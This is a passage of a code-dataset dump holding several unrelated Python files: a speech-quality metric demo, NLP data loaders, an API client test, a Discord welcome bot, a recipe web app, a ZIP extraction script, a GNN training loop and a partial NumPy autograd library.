sf.read(test_path, format='RAW', channels=1, samplerate=16000,\r\n                           subtype='PCM_16', endian='LITTLE')\r\n            if sr_Coded != sr:\r\n                speech_Coded = librosa.resample(speech_Coded, sr_Coded, sr)\r\n                sr_Coded = sr\r\n    \r\n    if sr_Ref != sr_Coded:\r\n        raise ValueError(\"Reference and degraded signals should have same sampling rate!\")\r\n    \r\n    # Make sure amplitudes are in the range of [-1, 1] otherwise clipping to -1 to 1 \r\n    # after resampling (if applicable). We experienced this issue for TCD-VOIP database only\r\n    speech_Ref[speech_Ref>1]=1.0\r\n    speech_Ref[speech_Ref<-1]=-1.0\r\n    \r\n    speech_Coded[speech_Coded>1]=1.0\r\n    speech_Coded[speech_Coded<-1]=-1.0\r\n    \r\n    ###########################################################################\r\n   \r\n    win_length = int(0.032*sr) #32 ms frame\r\n    hop_length = int(0.004*sr) #4 ms overlap\r\n    #hop_length = int(0.016*sr)\r\n    \r\n    n_fft = 2*win_length\r\n    lifter = 3 \r\n    \r\n    # DTW Parameters\r\n    Metric = 'euclidean'\r\n        \r\n    # VAD Parameters\r\n    hop_size_vad = 30\r\n    sr_vad = sr\r\n    aggresive = 0\r\n    \r\n    # VAD for Ref speech\r\n    vact1 = vad(speech_Ref, sr, fs_vad = sr_vad, hop_length = hop_size_vad, vad_mode=aggresive)\r\n    speech_Ref_vad = speech_Ref[vact1==1]\r\n    \r\n    # VAD for Coded speech\r\n    vact2 = vad(speech_Coded, sr, fs_vad = sr_vad, hop_length = hop_size_vad, vad_mode=aggresive)\r\n    speech_Coded_vad = speech_Coded[vact2==1]\r\n   \r\n    # Compute MFCC features for the two signals\r\n    \r\n    mfcc_Ref = librosa.feature.mfcc(speech_Ref_vad,sr=sr,n_mfcc=n_mfcc,fmax=fmax,\r\n                                    n_fft=n_fft,win_length=win_length,hop_length=hop_length,lifter=lifter)\r\n    mfcc_Coded = librosa.feature.mfcc(speech_Coded_vad,sr=sr,n_mfcc=n_mfcc,fmax=fmax,\r\n                                    n_fft=n_fft,win_length=win_length,hop_length=hop_length,lifter=lifter)\r\n    \r\n    # Feature Normalisation using CMVNW method \r\n    mfcc_Ref = speechpy.processing.cmvnw(mfcc_Ref.T,win_size=201,variance_normalization=True).T\r\n    mfcc_Coded = speechpy.processing.cmvnw(mfcc_Coded.T,win_size=201,variance_normalization=True).T\r\n    \r\n    # Divid MFCC features of Coded speech into patches\r\n    cols = int(patch_size/(hop_length/sr))\r\n    window_shape = (np.size(mfcc_Ref,0), cols)\r\n    step  = int(cols/2)\r\n    \r\n    mfcc_Coded_patch = view_as_windows(mfcc_Coded, window_shape, step)\r\n\r\n    Acc =[]\r\n    band_rad = 0.25  \r\n    weights_mul=np.array([1, 1, 1])\r\n     \r\n    # Compute alignment cose between each patch and Ref MFCC\r\n    for i in range(mfcc_Coded_patch.shape[1]):    \r\n        \r\n        patch = mfcc_Coded_patch[0][i]\r\n        \r\n        D, P = librosa.sequence.dtw(X=patch, Y=mfcc_Ref, metric=Metric, \r\n                                    step_sizes_sigma=sigma, weights_mul=weights_mul, \r\n                                    band_rad=band_rad, subseq=True, backtrack=True)\r\n  \r\n        P_librosa = P[::-1, :]\r\n        b_ast = P_librosa[-1, 1]\r\n        \r\n        Acc.append(D[-1, b_ast] / D.shape[0])\r\n        \r\n    # Final score\r\n    return np.median(Acc)\r\n\r\n###############################################################################\r\n############### #  Main Demo Test Function ####################################\r\n###############################################################################\r\n\r\ndef main_test():\r\n    \r\n    runSingleCore = True # Make it False if you want to run the code with multicores\r\n    \r\n    getPlot = False # Make it True if you want to plot the predicted scores vs MOS\r\n                    # if True, MOS and Codec type should be provided in the csv file\r\n                    \r\n    # Load path of speech files stored in a csv file \r\n    # The csv file cosists of four columns: Ref_Wave, Test_Wave, MOS, and Codec  \r\n    \r\n    All_Data = pd.read_csv('audio_paths.csv',index_col=None)\r\n    WARP_Q = [] # List to add WARP-Q scores\r\n    \r\n    if runSingleCore:\r\n        \r\n        # Iterative process\r\n        print('Run WARP-Q with single job computing mode.. \\n')\r\n        print('Processed speech file:')\r\n        \r\n        for index, row in All_Data.iterrows():\r\n            score = compute_WAPRQ(ref_path=row['Ref_Wave'],test_path=row['Test_Wave'])\r\n            WARP_Q.append(score)\r\n            print(row['Test_Wave'])\r\n    \r\n    else:\r\n        \r\n        # Process-based parallelism\r\n        print('Run WARP-Q with multi jobs computing mode.. \\n ')\r\n        num_cores = multiprocessing.cpu_count() # Check available cores\r\n        \r\n        Col1 = All_Data['Ref_Wave']\r\n        Col2 = All_Data['Test_Wave']\r\n        \r\n        WARP_Q = Parallel(n_jobs=num_cores, verbose=100)(delayed(\r\n                        compute_WAPRQ)(Col1[row],Col2[row]) for row in range(0, len(Col1)))\r\n        \r\n    # Add computed score to the same csv file\r\n    All_Data['WARP-Q'] = WARP_Q\r\n    #print(WARP_Q)\r\n    \r\n    # Save the results\r\n    All_Data.to_csv('Results.csv',index = None)                                        \r\n\r\n    if getPlot:\r\n        \r\n        # Compute per-sample Pearsonr and Spearmanr correlation coefficients\r\n        pearson_coef, p_value = pearsonr(All_Data['WARP-Q'], All_Data['MOS'])\r\n        Spearmanr_coef, p_spearman = spearmanr(All_Data['WARP-Q'], All_Data['MOS'])                                  \r\n        \r\n        #plt.figure()           \r\n        sns.relplot(x=\"MOS\", y=\"WARP-Q\", \r\n                    hue=\"Codec\", palette=\"muted\",\r\n                    data=All_Data).fig.suptitle(\r\n                        'Per-sample Correlation: Pearsonr= '+ str(round(pearson_coef,2)) +\r\n                        ', Spearman='+str(round(Spearmanr_coef,2))\r\n                        )\r\n        #plt.tight_layout()\r\n        #plt.show()\r\n    \r\nif __name__ == '__main__':\r\n    main_test()\r\n","repo_name":"wjassim/WARP-Q","sub_path":"WARPQ_demo.py","file_name":"WARPQ_demo.py","file_ext":"py","file_size_in_byte":9611,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"60"}
+{"seq_id":"70263332350","text":"\nfrom transfer.downstream.finetune.env.imports import pdb, torch, OrderedDict, np, linear_model, json, uuid4\nfrom transfer.downstream.finetune.env.dir.data_dir import DATA_UD_RAW, DATA_UD\nfrom transfer.downstream.finetune.env.dir.pretrained_model_dir import BERT_MODEL_DIC\nfrom transfer.downstream.finetune.env.dir.project_directories import PROJECT_PATH\n\n\ndef get_dirs(args):\n\n    if args.init_args_dir is not None:\n        with open(args.init_args_dir,\"r\") as f:\n            args_dic = json.load(f)\n            args_dic = args_dic[\"hyperparameters\"]\n            dict_path = args_dic[\"dict_path\"]\n            model_dir = args_dic[\"model_location\"]\n            args.tasks = args_dic[\"tasks\"]\n    else:\n        model_dir = BERT_MODEL_DIC[args.bert_model][\"model\"]\n        dict_path = PROJECT_PATH+\"/../../analysis/attention_analysis/dic/\"\n        args.tasks = [[\"pos\"]]\n        print(f\"Defining model_dir with pretrained model {args.bert_model}\")\n\n    return args, dict_path, model_dir\n\n\ndef load_data(dir, data=None, line_filter=None, id_start=0, id_end=100,  verbose=1):\n    if data is None:\n        data = []\n    if verbose:\n        print(f\"LOADING {dir}\")\n    n_sent = 0\n    n_appending = 0\n    with open(dir, \"r\") as f:\n        for line in f:\n            if line_filter is not None:\n                if not line.startswith(line_filter):\n                    continue\n                line = line[len(line_filter):]\n            line = line.strip()\n            if n_sent >= id_start and n_sent < id_end:\n                n_appending += 1\n                data.append(line)\n            n_sent += 1\n    try:\n        assert n_appending == (id_end-id_start)\n    except Exception as e:\n        print(e)\n        return None\n    if verbose:\n        print(f\"LOADED {n_appending} form {dir}  \")\n\n    return data\n\n\ndef load_lang_ls(root, lang_ls, postfix=\"-ud-test-sent_segmented.txt\"):\n    data_lang = []\n    y = []\n    for i_lang, lang in enumerate(lang_ls):\n        dir = root+f\"/{lang}{postfix}\"\n        data_lang = load_data(dir, data_lang)\n        y.extend([i_lang for _ in range(len(data_lang))])\n    return np.array(data_lang), np.array(y)\n","repo_name":"benjamin-mlr/mbert-unseen-languages","sub_path":"transfer/analysis/attention_analysis/attention_extraction_utils.py","file_name":"attention_extraction_utils.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"70451067393","text":"import asyncio\nfrom unittest import mock\n\nimport pytest\nfrom taobaopyx.taobao import AsyncTaobaoAPIClient\n\n\n@pytest.fixture\ndef client():\n    yield AsyncTaobaoAPIClient(\n        app_key=\"fake_key\", app_secret=\"fake_secret\", domain=\"eco.taobao.com\", http_client=mock.Mock()\n    )\n\n\ndef test_client(client: AsyncTaobaoAPIClient):\n    assert client.gw_url == \"http://eco.taobao.com/router/rest\"\n\n\n@pytest.mark.asyncio\nasync def test_close(client: AsyncTaobaoAPIClient):\n    client.http_client.aclose.return_value = asyncio.Future()\n    client.http_client.aclose.return_value.set_result(None)\n    await client.aclose()\n    client.http_client.aclose.assert_called_once_with()","repo_name":"duyixian1234/taobaopyx","sub_path":"tests/test_async_taobao_api_client.py","file_name":"test_async_taobao_api_client.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3755123112","text":"import typing\n\nimport discord\nfrom loguru import logger as log\n\n\nclass Welcomer:\n    async def handle_welcome_channel_message(self, message: discord.Message, guest_role_ids: typing.List[int]):\n        new_nick = await self.generate_nick(message)\n        log.info(f\"new nick will be {new_nick}.\")\n\n        try:\n            await self.change_nickname(message, new_nick)\n            await self.delete_message(message)\n\n            for guest_role_id in guest_role_ids:\n                await self.add_guest_role(guest_role_id, message)\n        except Exception as e:\n            log.error(e)\n\n    async def add_guest_role(self, guest_role_id, message):\n        log.debug(\"adding guest role...\")\n        guest_role = next(role for role in message.guild.roles if role.id == guest_role_id)\n        await message.author.add_roles(guest_role)\n        log.debug(\"guest role added.\")\n\n    async def delete_message(self, message):\n        log.debug(\"deleting message...\")\n        await message.delete()\n        log.debug(\"message deleted.\")\n\n    async def change_nickname(self, message, new_nick):\n        log.debug(\"changing nickname...\")\n        await message.author.edit(nick=new_nick)\n        log.debug(\"nickname changed.\")\n\n    async def generate_nick(self, message: discord.Message):\n        log.info(f\"\\tauthor={message.author.name}\")\n        discord_name = message.author.name\n\n        log.info(f\"\\tnick={message.content}\")\n        osrs_name = message.content\n\n        if len(discord_name) > 25:\n            return discord_name\n\n        expected_length = len(discord_name) + len(osrs_name) + 5\n        if expected_length > 32:\n            return f\"{discord_name} [{osrs_name[0:32 - len(discord_name) - 5]}..]\"\n\n        return f\"{discord_name} [{osrs_name}]\"\n","repo_name":"lesteenman/discord-bot-the-eternal-gem","sub_path":"discord_bot_the_eternal_gem/welcomer.py","file_name":"welcomer.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10939766266","text":"# coding=utf-8\nimport webapp2\nimport logging \nfrom rendering import BaseHandler\nfrom datetime import datetime\nfrom google.appengine.ext import db\nimport models\nimport urllib\nfrom google.appengine.api import images\n\n\ndef RmPolishChars(str):\n    str=str.replace(u\" \",u\"_\")\n    str=str.replace(u\"Ą\",u\"A\")\n    str=str.replace(u\"ą\",u\"a\")\n    str=str.replace(u\"Ć\",u\"C\")\n    str=str.replace(u\"ć\",u\"c\")\n    str=str.replace(u\"Ę\",u\"E\")\n    str=str.replace(u\"ę\",u\"e\")\n    str=str.replace(u\"Ł\",u\"L\")\n    str=str.replace(u\"ł\",u\"l\")\n    str=str.replace(u\"Ń\",u\"N\")\n    str=str.replace(u\"ń\",u\"n\")\n    str=str.replace(u\"Ó\",u\"O\")\n    str=str.replace(u\"ó\",u\"o\")\n    str=str.replace(u\"Ś\",u\"S\")\n    str=str.replace(u\"ś\",u\"s\")\n    str=str.replace(u\"Ż\",u\"Z\")\n    str=str.replace(u\"ż\",u\"z\")\n    str=str.replace(u\"Ź\",u\"Z\")\n    str=str.replace(u\"ź\",u\"z\")\n    return str\n\nclass MainPage(BaseHandler):\n    def get(self):\n        logging.info(\"main page\")\n        self.response.headers['Content-Type']='text/html'\n        \n        self.render(\"main.html\",dt=datetime.now())\n    \n        \nclass Signup(BaseHandler):\n    def get(self):\n        logging.info(\"signup\")\n\nclass Login(BaseHandler):\n    def get(self):\n        logging.info(\"login\")\n        \nclass Logout(BaseHandler):\n    def get(self):\n        logging.info(\"logout\")\n        \nclass EditPage(BaseHandler):\n    def get(self,article):\n        logging.info(\"edit page\")\n        title=article[1:]\n        content=u\"\"\n        skladniki=u\"\"\n        a=models.Article.by_key(title)\n        if a:\n            title=a.title\n            content=a.content\n            skladniki=a.skladniki\n        self.render(u\"nowyprzepis.html\",title=title, content=content, skladniki=skladniki)\n        \n            \n    def post(self,article):\n        img = self.request.get('img')\n        title=content=self.request.get(\"name\")\n        logging.info(title)\n        skladniki=self.request.get(\"skladniki\")\n        content=self.request.get(\"content\")\n        key = RmPolishChars(title);\n        if title and content and skladniki:\n            a = models.Article.by_key(key)\n            if a: \n                a.delete()\n                if img:\n                    img_blob = db.Blob(img)\n                else:\n                    img_blob = None \n                    a=models.Article(parent=models.article_key(),\\\n                              key_name=key,\\\n                               image = img_blob,\\\n                                title=title,\\\n                                 skladniki=skladniki,\\\n                                  content=content) \n            else:\n                if img:\n                    img_blob = db.Blob(img) \n                else: img_blob = None \n                a=models.Article(parent=models.article_key(),\\\n                                  key_name=key,\\\n                                   image = img_blob,\\\n                                    title=title,\\\n                                     skladniki=skladniki,\\\n                                      content=content)\n            a.put()\n            self.redirect(\"/\" + key)\n        else:\n            error=u\"Podaj poprawna zawartosc artykulu!\"\n            self.render(\"nowyprzepis.html\",content=content, title=article[1:], error=error)\n\n\nclass GetImage(BaseHandler):\n    def get(self):\n        article = db.get(self.request.get('img_id'))\n        if article.image:\n            self.response.headers['Content-Type'] = 'image/jpg'\n            self.response.out.write(article.image)\n        else:\n            self.response.out.write('No image')\n  \nclass Przepis(BaseHandler):\n    def get(self,article):\n        logging.info(\"wiki page\")\n        title=article[1:]\n        a=models.Article.by_key(title)\n        if a:\n            logging.info(a.key().name())\n            self.render(\"article-show.html\",a=a)\n        else:\n            self.redirect(\"/_edit\"+article)\n\n\nclass Articles(BaseHandler):\n    def get(self):\n        articles = models.Article.all()\n        if articles:\n            self.render(\"articles.html\",articles=articles)\n        else:\n            self.redirect(\"/\")\n    \n    def post(self):\n        filter = self.request.get(\"wyszukaj_filtr\").split()\n        logging.info(filter)\n        _articles = models.Article.all()\n        if _articles:\n            articles = []\n            \n            for article in _articles:\n                t = True\n                for skladnik in filter:\n                    if article.skladniki.find(skladnik)==-1:\n                        t = False\n                        break\n                if t:\n                    articles.append(article)\n            \n            # wyświetlam przepisy, które przeszły przez filtr\n            if articles:\n                self.render(\"articles.html\",articles=articles)\n            else:\n                error=u\"Nie znaleziono przepisów\"\n                self.render(\"articles.html\",articles=articles, error=error)\n            \n            \nclass Onas(BaseHandler):\n    def get(self):\n        self.render(\"o-nas.html\")\n        logging.info(\"Onas\")\n\n\n\n\n        \nPAGE_RE=r'(/(?:[a-zA-Z0-9_-]+/?)*)'\napp=webapp2.WSGIApplication([('/',MainPage),\n                             ('/o-nas', Onas),\n                             ('/articles', Articles),\n                            ('/signup',Signup),\n                            ('/login',Login),\n                            ('/logout',Logout),\n                            ('/_edit'+PAGE_RE,EditPage),\n                            ('/img', GetImage),\n                            (PAGE_RE,Przepis)],\n                            debug=True)\n                            \ndef main():\n    logging.info(\"main()\")\n    app.run()\n    \nif __name__=='__main__':\n    main()                         ","repo_name":"MarcinBaranowski/Git_Grupa370","sub_path":"przepisy.py","file_name":"przepisy.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8640319137","text":"# --------------------------------------------------------\n# Program by Alexander.F.\n#\n#\n# Version       Date        Info\n# 1.0           2017        Initial Version\n# Objekt mitels Funktion zipfile.ZipFile() erstellen:\n# --------------------------------------------------------\nimport zipfile, os\n\nos.chdir('C:\\\\install\\\\temp')   # gehe zum Ordner mit Zip-Archiv\nmyZipFile = zipfile.ZipFile('DatafactoryCargo_q3-2016.zip')     # erstelle Objekt ZipFile\n\n# --------------------------------------------------------\n#! Inhalte des ZIP-Archivs zeigen mit Zusatz Info zu Komprimierung\nmyZipFileInhalt = (myZipFile.namelist())            # Metdode namelist() gibt zurück eine Liste mit Inhalt\nprint(myZipFileInhalt)\n\nfor archivFile in myZipFileInhalt:\n    spamInfo = myZipFile.getinfo(archivFile)\n    print(archivFile, ' Size: ', spamInfo.file_size, ' Komprimiert auf: ', spamInfo.compress_size)\n\n# --------------------------------------------------------\n#! Einzeln aus ZIP-Archiv endpacken\n#myZipFile.extract('FD.DAT')     # eine Datei aus dem Archiv in aktuelles Ordner\n#myZipFile.extract('FD.DAT', 'C.\\\\mein\\\\new\\\\folder')  # eine Datei aus dem Archiv in bestimtes Ordner\n\n#! endpackt ALLES und überschreibt vorhandenes\n#! myZipFile.extractall() - endpackt ALLES in gleiches Ordner\nmyZipFile.extractall('C:\\\\install\\\\Cargo')      # ALLES endpacken gezilt in Ordner - dieser wird erstehlt wenn nicht vorhanden\n\n# Object/File schlissen\nmyZipFile.close()","repo_name":"AlexFortLabs/MyPythonLabs","sub_path":"Sammelsurium/ZIP_FileReadExtract.py","file_name":"ZIP_FileReadExtract.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15392415509","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Dec 11 12:24:03 2022\r\n\r\n@author: xusem\r\n\"\"\"\r\nimport torch\r\nfrom torchmetrics import AveragePrecision\r\n\r\n\r\ncrit = torch.nn.BCELoss()\r\nalt_crit = AveragePrecision(task=\"binary\")\r\n\r\ndef train_epoch(model, dataloader, optim):  \r\n    model.train()\r\n\r\n    alt_loss = 0\r\n    loss_all = 0\r\n    for data in dataloader:\r\n        optim.zero_grad()\r\n        output = model(data)\r\n        label = data.y\r\n        loss = crit(output, label.float())\r\n        loss.backward()\r\n        loss_all += data.num_graphs * loss.item()\r\n        alt_loss += alt_crit(output, label.float()).item()\r\n        optim.step()\r\n    \r\n    return loss_all / len(dataloader), alt_loss / len(dataloader)\r\n\r\ndef val_data_epoch(model, dataloader):\r\n    \r\n    model.eval()\r\n\r\n    alt_loss = 0\r\n    loss_all = 0\r\n    for data in dataloader:\r\n        output = model(data)\r\n        label = data.y\r\n        loss = crit(output, label.float())\r\n        loss_all += data.num_graphs * loss.item()\r\n        alt_loss += alt_crit(output, label.float()).item()\r\n    return loss_all / len(dataloader), alt_loss / len(dataloader)\r\n    \r\n\r\ndef train_model(model, train_loader, val_loader, epochs=300, lr=0.001):\r\n    optimizer = torch.optim.Adam(model.parameters(), lr=lr)\r\n    train_losses = []\r\n    val_losses = []\r\n    auprc_losses = []\r\n    for epoch in range(epochs):        \r\n        bce_loss, _ = train_epoch(model, train_loader, optimizer)\r\n        train_losses.append(bce_loss)\r\n        val_loss, auprc_loss = val_data_epoch(model, val_loader)\r\n        val_losses.append(val_loss)\r\n        auprc_losses.append(auprc_loss)\r\n        if (epoch + 1) % 5 == 0:\r\n            print(f'epoch: {epoch+1}, training_loss: {bce_loss}, val_loss: {val_loss}, val_AUPRC: {auprc_loss}')\r\n    \r\n    return train_losses, val_losses, auprc_losses","repo_name":"douavocado/deepmirror_task","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29158065559","text":"import numpy as np\n\n\nclass Tensor:\n    \"\"\"\n    C системой автоматического вычисления градиента autograd код\n    становится намного проще. Нам больше не нужны временные переменные\n    (потому что вся необходимая информация сохраняется в динамическом вычислительном\n    графе) и нет необходимости вручную определять логику обратного\n    распространения (потому что она уже реализована в методе . backward ()).\n    \"\"\"\n\n    def __init__(self, data,\n                 autograd=False,\n                 creators=None,\n                 creation_op=None,\n                 id=None):\n\n        self.data = np.array(data)\n        self.autograd = autograd\n        self.grad = None\n        self.creators = creators\n        self.creation_op = creation_op\n        self.children = {}\n\n        if id is None:\n            self.id = np.random.randint(0, 100000)\n        else:\n            self.id = id\n\n        if self.creators is not None:\n            for creator in creators:\n                if self.id not in creator.children:  # Keeps track of how many children a tensor has.\n                    creator.children[self.id] = 1\n                else:\n                    creator.children[self.id] += 1\n\n    def all_children_grads_accounted_for(self):\n        \"\"\"\n        Checks whether a tensor has received the correct number of gradients from each child\n        \"\"\"\n        for id, cnt in self.children.items():\n            if cnt != 0:\n                return False\n        return True\n\n    def backward(self, grad=None, grad_origin=None):\n\n        if self.autograd:\n\n            # Позволит не передавать градиент из единиц в первый вызов .backward().\n            if grad is None:\n                grad = Tensor(np.ones_like(self.data))\n\n            if grad_origin is not None:\n                if self.children[grad_origin.id] == 0:\n                    return\n                    print(self.id)\n                    print(self.creation_op)\n                    print(len(self.creators))\n                    for c in self.creators:\n                        print(c.creation_op)\n                    raise Exception(\"Cannot backprop more than once\")\n                else:\n                    self.children[grad_origin.id] -= 1\n\n            # Accumulates gradients from several children\n            if self.grad is None:\n                self.grad = grad\n            else:\n                self.grad += grad\n\n            # Grads must not have grads of their own\n            assert grad.autograd is False\n\n            # 1) only continue backpropping if there's something to\n            # backprop into and if all gradients (from children)\n            # 2) are accounted for override waiting for children if\n            # \"backprop\" was called on this variable directly\n            if self.creators is not None and (self.all_children_grads_accounted_for() or grad_origin is None):\n\n                # Begins actual backpropagation\n                if self.creation_op == \"add\":\n                    self.creators[0].backward(self.grad, self)\n                    self.creators[1].backward(self.grad, self)\n\n                if self.creation_op == \"sub\":\n                    new = Tensor(self.grad.data)\n                    self.creators[0].backward(new, self)\n                    new = Tensor(self.grad.__neg__().data)\n                    self.creators[1].backward(new, self)\n\n                if self.creation_op == \"mul\":\n                    new = self.grad * self.creators[1]\n                    self.creators[0].backward(new, self)\n                    new = self.grad * self.creators[0]\n                    self.creators[1].backward(new, self)\n\n                if self.creation_op == \"mm\":\n                    act = self.creators[0]\n                    weights = self.creators[1]\n                    new = self.grad.mm(weights.transpose())\n                    act.backward(new)\n                    new = self.grad.transpose().mm(act).transpose()\n                    weights.backward(new)\n\n                if self.creation_op == \"transpose\":\n                    self.creators[0].backward(self.grad.transpose())\n\n                if \"sum\" in self.creation_op:\n                    dim = int(self.creation_op.split(\"_\")[1])\n                    ds = self.creators[0].data.shape[dim]\n                    self.creators[0].backward(self.grad.expand(dim, ds))\n\n                if \"expand\" in self.creation_op:\n                    dim = int(self.creation_op.split(\"_\")[1])\n                    self.creators[0].backward(self.grad.sum(dim))\n\n                if self.creation_op == \"neg\":\n                    self.creators[0].backward(self.grad.__neg__())\n\n                if self.creation_op == \"sigmoid\":\n                    ones = Tensor(np.ones_like(self.grad.data))\n                    self.creators[0].backward(self.grad * (self * (ones - self)))\n\n                if self.creation_op == \"tanh\":\n                    ones = Tensor(np.ones_like(self.grad.data))\n                    self.creators[0].backward(self.grad * (ones - (self * self)))\n\n                if self.creation_op == \"index_select\":\n\n                    # Инициализируем новый градиент правильного размера соответствующего размеру исходной матрицы,\n                    # подвергавшейся индексированию).\n                    new_grad = np.zeros_like(self.creators[0].data)\n\n                    # Преобразуем индексы в плоский вектор, чтобы получить возможность выполнить итерации по ним.\n                    indices_ = self.index_select_indices.data.flatten()\n\n                    # Свернем grad_ в простой список строк.\n                    # Индексы в indices_ и список векторов в grad_ будут иметь соответствующий порядок.\n                    grad_ = grad.data.reshape(len(indices_), -1)\n\n                    # Выполним обход всех индексов, добавим их в правильные строки в новой матрице градиентов\n                    # и передадим ее обратно в self.creators[0].\n                    for i in range(len(indices_)):\n                        new_grad[indices_[i]] += grad_[i]\n                    self.creators[0].backward(Tensor(new_grad))\n\n                if self.creation_op == \"cross_entropy\":  # TODO describe this\n\n                    dx = self.softmax_output - self.target_dist\n                    self.creators[0].backward(Tensor(dx))\n\n    def __add__(self, other):\n        if self.autograd and other.autograd:\n            return Tensor(self.data + other.data,\n                          autograd=True,\n                          creators=[self, other],\n                          creation_op=\"add\")\n        return Tensor(self.data + other.data)\n\n    def __neg__(self):\n        if self.autograd:\n            return Tensor(self.data * -1,\n                          autograd=True,\n                          creators=[self],\n                          creation_op=\"neg\")\n        return Tensor(self.data * -1)\n\n    def __sub__(self, other):\n        if self.autograd and other.autograd:\n            return Tensor(self.data - other.data,\n                          autograd=True,\n                          creators=[self, other],\n                          creation_op=\"sub\")\n        return Tensor(self.data - other.data)\n\n    def __mul__(self, other):\n        if self.autograd and other.autograd:\n            return Tensor(self.data * other.data,\n                          autograd=True,\n                          creators=[self, other],\n                          creation_op=\"mul\")\n        return Tensor(self.data * other.data)\n\n    def sum(self, dim):\n        if self.autograd:\n            return Tensor(self.data.sum(dim),\n                          autograd=True,\n                          creators=[self],\n                          creation_op=\"sum_\" + str(dim))\n        return Tensor(self.data.sum(dim))\n\n    def expand(self, dim, copies):\n        trans_cmd = list(range(0, len(self.data.shape)))\n        trans_cmd.insert(dim, len(self.data.shape))\n        new_shape = list(self.data.shape) + [copies]\n        new_data = self.data.repeat(copies).reshape(new_shape)\n        new_data = new_data.transpose(trans_cmd)\n\n        if self.autograd:\n            return Tensor(new_data,\n                          autograd=True,\n                          creators=[self],\n                          creation_op=\"expand_\" + str(dim))\n        return Tensor(new_data)\n\n    def transpose(self):\n        if self.autograd:\n            return Tensor(self.data.transpose(),\n                          autograd=True,\n                          creators=[self],\n                          creation_op=\"transpose\")\n        return Tensor(self.data.transpose())\n\n    def mm(self, x):\n        if self.autograd:\n            return Tensor(self.data.dot(x.data),\n                          autograd=True,\n                          creators=[self, x],\n                          creation_op=\"mm\")\n        return Tensor(self.data.dot(x.data))\n\n    def __repr__(self):\n        return str(self.data.__repr__())\n\n    def __str__(self):\n        return str(self.data.__str__())\n\n    def sigmoid(self):\n        if self.autograd:\n            return Tensor(1 / (1 + np.exp(-self.data)),\n                          autograd=True,\n                          creators=[self],\n                          creation_op=\"sigmoid\")\n        return Tensor(1 / (1 + np.exp(-self.data)))\n\n    def tanh(self):\n        if self.autograd:\n            return Tensor(np.tanh(self.data),\n                          autograd=True,\n                          creators=[self],\n                          creation_op=\"tanh\")\n        return Tensor(np.tanh(self.data))\n\n    def index_select(self, indices):\n        \"\"\"\n        Мы должны гарантировать на этапе обратного распространения размещение градиентов в тех же строках,\n        полученных в результате индексирования на этапе прямого распространения.\n        Для этого нужно сохранить исходные индексы, чтобы на этапе обратного распространения мы смогли\n        поместить каждый градиент в нужное место, воспользовавшись простым циклом for.\n        \"\"\"\n        if self.autograd:\n            new = Tensor(self.data[indices.data],\n                         autograd=True,\n                         creators=[self],\n                         creation_op=\"index_select\")\n            new.index_select_indices = indices\n            return new\n        return Tensor(self.data[indices.data])\n\n    def softmax(self):\n        temp = np.exp(self.data)\n        softmax_output = temp / np.sum(temp,\n                                       axis=len(self.data.shape) - 1,\n                                       keepdims=True)\n        return softmax_output\n\n    def cross_entropy(self, target_indices):\n        \"\"\"\n        Вычисление softmax и потерь(loss) производится в одной функции.\n        Намного быстрее вместе вычислить градиент softmax и отрицательный логарифм подобия в функции перекрестной\n        энтропии, чем распространять их вперед и назад по отдельности в двух разных модулях.\n        \"\"\"\n        # Определение функции softmax.\n        temp = np.exp(self.data)\n        softmax_output = temp / np.sum(temp,\n                                       axis=len(self.data.shape) - 1,\n                                       keepdims=True)\n\n        # Преобразование матрицы в (1, N). В примере (4, 1) в (1, 4).\n        t = target_indices.data.flatten()\n        # .reshape(len(t), -1) - не обязательно.\n        p = softmax_output.reshape(len(t), -1)\n        target_dist = np.eye(p.shape[1])[t]\n        loss = -(np.log(p) * target_dist).sum(1).mean()\n\n        if self.autograd:\n            out = Tensor(loss,\n                         autograd=True,\n                         creators=[self],\n                         creation_op=\"cross_entropy\")\n            out.softmax_output = softmax_output\n            out.target_dist = target_dist\n            return out\n\n        return Tensor(loss)\n\n\nclass SGD:\n    \"\"\"\n    Stochastic Gradient Descent optimizer.\n    Оптимизатор стохастического градиентного спуска\n    \"\"\"\n\n    def __init__(self, parameters, alpha=0.01):\n        self.parameters = parameters\n        self.alpha = alpha\n\n    def zero(self):\n        for p in self.parameters:\n            p.grad.data *= 0\n\n    def step(self, zero=True):\n        for p in self.parameters:\n            p.data -= p.grad.data * self.alpha\n\n            if zero:\n                p.grad.data *= 0\n\n\nclass Layer:\n    \"\"\"\n    Абстракция слоя.\n    Это коллекция процедур, часто используемых в прямом распространении, упакованных в простой программный\n    интерфейс с методом .forward() для их использования.\n    \"\"\"\n\n    def __init__(self):\n        self.parameters = list()\n\n    def get_parameters(self):\n        \"\"\"\n        Этот метод можно использовать для определения более сложных типов слоев\n        (например, слоев, содержащих другие слои).\n        Останется только переопределить метод get_parameters(), чтобы организовать передачу нужных тензоров.\n        \"\"\"\n        return self.parameters\n\n\nclass Linear(Layer):\n    \"\"\"\n    Модель линейного слоя.\n    \"\"\"\n\n    def __init__(self, n_inputs, n_outputs):\n        super().__init__()\n\n        # Xavier initialization of Normal distribution (random.randn).\n        # np.random.rand is for Uniform distribution (in the half-open interval [0.0, 1.0))\n        # np.random.randn is for Standard Normal (Gaussian) distribution (mean 0 and variance 1)\n        weight = np.random.randn(n_inputs, n_outputs) * np.sqrt(2.0 / n_inputs)\n        self.weight = Tensor(weight, autograd=True)\n\n        # Матрица смещений весов, потому что это настоящий линейный слой.\n        self.bias = Tensor(np.zeros(n_outputs), autograd=True)\n\n        self.parameters.append(self.weight)\n        self.parameters.append(self.bias)\n\n    def forward(self, input):\n        return 